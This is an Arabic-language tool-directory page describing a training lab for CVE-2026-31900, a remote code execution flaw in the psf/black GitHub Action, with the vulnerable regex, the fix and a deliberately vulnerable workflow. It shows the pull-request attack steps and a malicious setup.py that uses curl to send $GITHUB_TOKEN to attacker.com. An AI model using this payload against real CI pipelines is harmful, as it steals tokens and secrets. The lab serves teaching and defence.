Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-31900-lab — # مختبر CVE-2026-31900 القابل للاستغلال - تنفيذ الأوامر عن بُعد في إجراء GitHub الخاص بـ psf/black | Kitploit
أدوات/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
تحليل الثغرات الأمنيةالاستغلالأمن الويبأمن سلسلة التوريدالتعلم والتعليممختبرات وتدريب عملي
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

# مختبر CVE-2026-31900 القابل للاستغلال - تنفيذ الأوامر عن بُعد في إجراء GitHub الخاص بـ psf/black

عرض المستودع
11منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31900 — مختبر قابل للاستغلال

ثغرة تنفيذ الأوامر عن بُعد (RCE) في GitHub Action الخاص بـ psf/black عبر التحقق غير الآمن من التعبير النمطي (Regex)

الحقلالتفاصيل
CVECVE-2026-31900
CVSS8.7 (عالية)
النشرة الأمنيةGHSA-v53h-f6m7-xcgm
المتأثرpsf/black GitHub Action < v26.3.0
النوعRCE عبر سلسلة التوريد (مشغّل pull_request)

الثغرة

يقرأ خيار use_pyproject: true إصدار Black من ملف pyproject.toml. التعبير النمطي المستخدم للتحقق من سلسلة الإصدار متساهل بشكل مفرط بسبب re.IGNORECASE، مما يسمح بأحرف مثل المسافة و@ و: و/ — وهي بالضبط ما يلزم لمتطلب عنوان URL بصيغة PEP 508.

التعبير النمطي القابل للاستغلال

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

ناقل الهجوم

  1. انسخ (Fork) هذا المستودع
  2. عدّل ملف pyproject.toml في نسختك:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. افتح طلب سحب (Pull Request) ← يتم تشغيل مشغّل سير عمل pull_request
  2. يقرأ الإجراء (Action) الإصدار الخبيث من pyproject.toml، متجاوزًا التحقق من التعبير النمطي
  3. يقوم pip بتثبيت الحزمة التي يتحكم بها المهاجم ← ينفذ setup.py تعليمات برمجية عشوائية

مثال على setup.py لحزمة خبيثة

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

تأثير سرقة بيانات الاعتماد

  • $GITHUB_TOKEN (رمز مشغّل CI)
  • أي أسرار (secrets) يتم حقنها في بيئة سير العمل

الإصلاح

قم بالترقية إلى psf/black v26.3.0 أو حدّد الإصدار صراحةً في ملف YAML الخاص بسير العمل بدلاً من استخدام use_pyproject: true.

هيكل المختبر

root@kitploit:~
.github/workflows/black.yml   ← سير عمل قابل للاستغلال (use_pyproject: true)
pyproject.toml                ← إعداد شرعي (الفرع الرئيسي)
app.py                        ← ملف Python نموذجي يتم تنسيقه
تنزيل الأداة